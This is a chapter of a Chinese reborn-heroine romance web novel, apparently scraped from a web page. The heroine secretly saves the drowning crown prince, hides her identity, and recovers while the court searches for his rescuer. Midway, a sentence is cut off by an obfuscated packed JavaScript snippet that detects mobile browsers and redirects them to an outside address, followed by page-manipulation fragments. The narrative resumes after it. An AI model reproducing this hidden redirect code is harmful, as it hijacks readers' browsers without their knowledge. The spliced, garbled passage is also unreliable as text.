18. 救命之恩
作品:《万人嫌真千金重生后》 前世,沈清灵寄居东宫,能说上话的人少得可怜,其中之一便是太子侍妾林杳儿。
林杳儿平民出身,寂寂无名,却在各色艳羡嫉妒的目光下被裴贵妃破例纳入东宫,背后根由,皆因林斐纵身跃入深秋淮江,一举救下溺水的太子。
而今,沈清灵以一封信笺支开林斐,她顶替他,站在了西风懔懔的夜间江畔。
纱帷蒙面,只露出平静等待的眉眼。视线里那座挂着白幡的肃穆画舫熄了灯,她望见那道高大身影走出舱室,并非中元节,他却手持一盏河灯。
一息,两息,男子倾身放灯,沈清灵心间默数,却不期然发现他动作稍顿,似乎觉察到暗中跟随他的目光。
沈清灵即刻转身规避,就在此时,岸边孩童嬉笑跑闹,而谢玄幸向前迈步,全然不顾已至船面边缘,随即跌足落入江中。
河灯摇曳漂浮,笼罩在漆黑画舫下的水流汩汩,四周归于悄静,船首的侍卫并未发现异样。
沈清灵回过头,看向阴影里那个他凭空消失的地方。
那里不复他的存在,他正窒息于江水中,然而眼前却出现千百个她记忆里他的形象:
背影,侧面,正面,穿着喜服迎娶沈千蔻的,文渊学宫中拎起她劣等功课的,在暗室中抚摸她脸颊的,乞巧节跃马扬鞭朝她奔来的……
以及最后一眼,冷着眸色对她漠然视之的。
无数个他在脑海中叠加,重生后每一回她都以为不会再产生交集,下一次却又与他相遇。她的运气一向平凡,上天却给予她重来的机会,消灭她的胆怯,斩除她的心软,让她变得狡诈钻营,更生出摧毁一切的愤懑与勇气。
她还没有毁掉他,她不会让他死于今晚,她绝不会让他仅仅以这种轻易简单的结局作为了断。
更何况,她需要这份救命之恩。
沈清灵将谢玄幸救上岸时,他已经失去了意识。
浑身湿透让他一片狼藉,却又因那份与生俱来的秀逸风姿而不显得落魄,反倒有股奇异的令人不敢攀折的矜贵。
江水冰寒,沈清灵虽清醒,但也没好到哪儿去。她大口喘气,身体因失温而难以自抑地冷颤,头重脚轻地跽坐在他身边。
竭力压下胸闷恶心,伸手去探他呼吸。他面白如玉,湿润纤长的睫毛无意识地垂落,除却绯红的唇瓣,几乎不再有生命迹象。
江面画舫之上,子规和陆铭莫名不安,互相低语了几句,接着朝船尾方向走去。
时间所剩无几,沈清灵收回目光,指尖抬起谢玄幸的下巴,然后俯身,覆上他的唇。
拧干的巾帕轻柔擦拭少女因高热而嫣红的唇角,林杳儿为她换上了干燥整洁的衣裳。整夜过去,在喂下两副退热药后,沈清灵终于幽幽苏醒。
“清灵姐姐,你醒了?你感觉如何?”林杳儿好不欢喜。
眼皮重若千斤,沈清灵艰难睁眸,进入视野的是满面担忧,眼下发青的林杳儿和许氏,还有枕边目不转睛守着她的雪团。
她张了张唇,嗓音沙哑发涩,开口第一句话,是请她们尽快帮她烧掉昨晚穿着的整套衣饰。
林杳儿疑惑不解,那套茜色裙装多么华美,其间绣有云锦彩瓣。虽然全都湿透了,且衣角有所损坏,但稍一缝补就能完好如初,何至于烧掉?
“我第一次见清灵姐姐穿上那么艳丽好看的裙子,为什么要烧掉?”林杳儿可惜极了。
“杳儿,去看看你阿兄取药回来没。”许氏出声打断,心叹自家闺女的相貌与沈姑娘有三分相似,可性情却直白得宛如一根筋,不及沈姑娘十分之一。
被娘亲支开,林杳儿毫无所觉,听话得如同雀鸟般扑棱着翅膀蹿了出去。
沈清灵看懂许氏为她解围之意,“多谢伯母。”
“什么都不必说,”许氏按住她伸出被角的手,“静心将养身子,伯母会替你处理掉衣物。”
手背上传来不同于寻常的触感,沈清灵垂眸,或许整颗心都牵挂在病人身上,许氏无意识地从袖管伸出右手,而她这只右手齐腕而断,赫然只剩光秃秃的手臂。
沈清灵惊愕,这时外间响起林杳儿的声音:“阿娘!阿兄回来了。”
许氏低头,迅速将右手藏回衣管,换用完好无损的左手掖住被角道:“清灵好生歇着,伯母出去看看。”
林斐将草药熬进罐中,从母亲口中得知沈清灵转醒,跌宕的心绪总算平定。
昨晚她高热跌倒的场面犹在眼前,林斐看顾着深褐色药罐中烹煮的药汁,猝然发现,自己发热的心好像也在咕噜噜冒泡。
相识数月,他对她的过往一概不知,她行事的神秘和她的美貌一样令人印象深刻,可惜点头之交的两个人,始终隔着一层看不见的壁垒。
她总是在为这个家付出,而他一无所有,又该如何回报她?
林斐沉默地守着药炉,药汤沸腾正要盛出,却见沈清灵穿戴整齐,步出了房间。
“则愿道长只许了我一个晚上的假,在外留宿已经于礼不合,我必须尽快回去,否则后患无穷。”她仍然虚弱,一双杏眸却坚定得让人说不出任何劝阻的话。
母子三人将她送出屋子,临走前,沈清灵揉了揉林杳儿的发顶,对上她黑葡萄似的滚圆双眼,不由得笑了起来。
真好啊,她想,你不会再被抬入东宫做妾,也不会在太子和太子妃大婚当日被皇帝醉酒临幸,深宫后院禁锢不了你,你是自由的。
昨晚秋雨过境,路面湿滑,沈清灵提着药包,强撑精神穿过小巷,正要赁车,却在巷口撞见了一名男子,耳边传来他低沉的嗓音。
“你是何人?你为何救他?”
“可曾见到何人救下太子?”谢玄幸用药后有所好转,裴贵妃得空召来子规与陆铭。
那片茜色衣角搁在案头,子规和陆铭对视一眼,叩首道:“娘娘恕罪,属下正在探查。”
当他们找到太子时,太子孤身一人昏迷在地,不见施以援手的恩人踪迹。
“废物。”裴贵妃面色不虞,“仰仗你们,太子早就死透了,还不继续去查。”
沈清灵回到太清宫时已近晌午,则愿道长率领一众弟子去了法坛,排演即将在忠国公府举办的祈福法事,只剩裕安留守殿外。
“清灵,你可算回来了!”这段时间二人熟稔起来,裕安也开始直呼沈清灵的名讳。
“你怎么全身的衣裳都换了?”他不禁挠头,昨天下山前那套茜色花裙多么明媚,结果昙花一现,又变回了她一贯的素色打扮,比出家人的道袍还要素朴清冷。
沈清灵无心解释,三言两语将此揭过,她担心的是则愿道长是否发现她彻夜未归。
“放心,方丈那儿我帮你遮掩了过去。”裕安示意她宽心,“方丈忙于法事,不曾发现。”
则愿道长果真未曾留意沈清灵一夜未归,祈福法事近在眼前,沈清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088092|162530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灵换好道服便去了祭坛。
落水后的热症并未好全,秋风凋零,吹得她一会儿发热头痛,一会儿又寒颤眼花。
不能称病,也不能倒下,医师一把脉便能看出她昨晚落了水。救命之恩是送给沈千蔻的,那片塞进谢玄幸掌心的衣角信物已有破绽,她不能再露出半分马脚。
沈清灵咬着牙,掐着掌心,硬生生扛过白天。
直到傍晚抄完经卷回到卧房,才从上锁的箱箧取出林斐拿给她的药物,一口一口嚼咽下去。
仿佛有刀片划过喉咙,味道也苦得好似胆汁倒流。她拖着痉挛的双腿生起炭火,火折子打燃的一瞬,蓦地想起守在榻边,陪伴她度过整个昏迷夜晚的许氏和林杳儿。
沈清灵习惯了孤身上路,却也发现,有时候依赖的感觉不是那么坏。
太子近年来冷心冷肺,宛如高山之巅万年不化的冰雪,也只有在病中昏睡之际,他才稍稍有从前那个依赖母妃的少年郎的影子,裴贵妃想。
尚药局的医师不眠不休守在东宫,面对贵妃的威压,字斟句酌道:
“殿下溺水的时间过长,但凡再迟几息,性命难保。如今从鬼门关救回来,已是大幸,待殿下苏醒,还需用药调养,以防落下后遗症。”
裴贵妃难掩阴翳,“后遗症?可会影响神智?”储君绝不能再有别的缺陷。
医师不敢大意,思忖后方要回答,就被帷帐后低哑疏离的声线截断。
“母妃放心,儿臣暂且成不了废人。”
裴贵妃被方嬷嬷掺出东宫时,仍在耿耿于怀地念叨:“太子现在像什么话,翅膀硬了,无处不在忤逆本宫!”
好说歹说劝他去赴宣平侯府的赏荷宴,结果却在府邸门口调转车架!
无数次叮嘱他切忌独处黑暗之地,他却为了那个死掉多少年的三皇子置身险境!
一意孤行,屡不听劝!哪里还像曾经那个谢玄幸!
“娘娘消消气,太子殿下尚处病中,身子抱恙,说话难免不加修饰,可他还是挂念您的。殿下不正为娘娘着想,看见您因衣不解带而憔悴,才请您回宫休整吗?”
“他哪里是为本宫着想?”裴贵妃呵笑一声,“他宁愿选择属下照料,也不想同本宫待在一起。”
子规端着青瓷药盏进来时,惊骇发现太子破天荒地持着一把鎏金银镜,镜面倒映着面部下方,好似正在端详嘴唇部位。
谢玄幸对镜自视,镜中男人薄唇淡红,唇线棱角分明,并不难看。
他微微抿唇,被少女柔软唇瓣亲吻的触觉让他觉得自己可能真的神智失常,才会反复想起那块或许子虚乌有的左肩下绯红月牙胎记。
微一眨眼,齿间涌上她的清甜,好似梦中,又好似溺水失神的当晚。
不同的是,梦里他圈着她的腰不断掠夺。而那晚,却是她捏住他的下巴,一口一口为他渡气。
连相处多年的未婚妻都从不亲密,却在面对一个陌生女子时顺从张唇,谢玄幸匪夷所思,他的戒备警惕全都凭空消失了么?怎能任由她施为?
“殿下,快用药,您耳朵越来越红,您又开始发热了。”子规眼尖地瞥见太子耳廓正慢慢泛红。
谢玄幸闭了闭眼,扔开银镜,接过药汤一饮而尽。
一个荒谬的梦,一个陌生的女人而已,无足轻重。
又过了数日,快要入冬时,陆铭兴冲冲通报:“殿下,恩人有消息了!”

